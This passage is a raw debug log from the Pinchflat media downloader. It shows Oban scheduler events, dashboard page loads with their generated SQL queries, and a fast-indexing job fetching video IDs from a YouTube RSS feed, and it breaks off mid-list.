{"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:06:57.239 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:00.773 [info] {"source":"oban","duration":238,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:07:27.240 [info] {"source":"oban","duration":584,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:07:35.741 [info] GET / 17:07:35.741 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:07:35.742 [debug] QUERY OK source="settings" db=0.0ms idle=742.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:35.742 [debug] QUERY OK source="media_profiles" db=0.0ms idle=742.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:07:35.742 [debug] QUERY OK source="sources" db=0.0ms idle=742.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:07:35.742 [debug] QUERY OK source="media_items" db=0.6ms idle=742.4ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:07:35.743 [debug] QUERY OK source="media_items" db=0.1ms idle=691.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:07:35.743 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:35.743 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:35.743 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:35.744 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:07:35.744 [debug] QUERY OK source="media_items" db=0.4ms idle=1.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:07:35.745 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:07:35.746 [debug] QUERY OK source="media_items" db=1.3ms idle=2.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:07:35.750 [debug] QUERY OK source="media_items" db=3.7ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:07:35.751 [debug] QUERY OK source="tasks" db=0.0ms idle=6.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:07:35.751 [info] Sent 200 in 9ms 17:07:57.241 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:00.774 [info] {"source":"oban","duration":248,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:08:16.316 [info] GET / 17:08:16.316 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:08:16.317 [debug] QUERY OK source="settings" db=0.3ms idle=1317.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:16.317 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1317.4ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:08:16.317 [debug] QUERY OK source="sources" db=0.0ms idle=1226.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:08:16.318 [debug] QUERY OK source="media_items" db=0.7ms idle=317.7ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:08:16.318 [debug] QUERY OK source="media_items" db=0.3ms idle=226.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:08:16.319 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:16.319 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:16.319 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:16.320 [debug] QUERY OK source="media_items" db=0.1ms idle=1.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:08:16.320 [debug] QUERY OK source="media_items" db=0.5ms idle=1.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:08:16.320 [debug] QUERY OK source="sources" db=0.0ms idle=1.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:08:16.323 [debug] QUERY OK source="media_items" db=1.6ms idle=2.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:08:16.325 [debug] QUERY OK source="media_items" db=1.6ms idle=3.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:08:16.325 [debug] QUERY OK source="tasks" db=0.0ms idle=5.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:08:16.325 [info] Sent 200 in 9ms 17:08:27.242 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:27.585 [info] GET / 17:08:27.585 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:08:27.586 [debug] QUERY OK source="settings" db=0.1ms idle=1586.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:27.586 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1586.3ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:08:27.586 [debug] QUERY OK source="sources" db=0.0ms idle=1484.0ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:08:27.586 [debug] QUERY OK source="media_items" db=0.6ms idle=482.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:08:27.587 [debug] QUERY OK source="media_items" db=0.1ms idle=344.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:08:27.587 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:27.587 [debug] QUERY OK source="settings" db=0.0ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:27.587 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:08:27.588 [debug] QUERY OK source="media_items" db=0.1ms idle=0.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:08:27.588 [debug] QUERY OK source="media_items" db=0.4ms idle=0.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:08:27.588 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:08:27.590 [debug] QUERY OK source="media_items" db=1.5ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:08:27.592 [debug] QUERY OK source="media_items" db=1.6ms idle=3.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:08:27.592 [debug] QUERY OK source="tasks" db=0.0ms idle=4.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:08:27.593 [info] Sent 200 in 7ms 17:08:57.243 [info] {"source":"oban","duration":490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.775 [info] {"source":"oban","duration":274,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:09:27.244 [info] {"source":"oban","duration":463,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:57.245 [info] {"source":"oban","duration":380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.776 [info] {"source":"oban","duration":113,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:10:27.246 [info] {"source":"oban","duration":296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:57.247 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.777 [info] {"source":"oban","duration":424,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:11:01.266 [info] {"args":{"id":2},"id":718,"meta":{},"system_time":1784913061266938406,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:11:01.269 [debug] QUERY OK source="sources" db=2.5ms idle=267.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:11:01.270 [debug] QUERY OK source="tasks" db=3.0ms idle=267.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:11:01.271 [debug] QUERY OK source="settings" db=1.9ms idle=269.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:01.271 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:11:01.272 [debug] QUERY OK source="sources" db=2.0ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:11:01.272 [debug] QUERY OK source="settings" db=0.1ms queue=0.4ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:11:01.272 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 17:11:01.532 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", 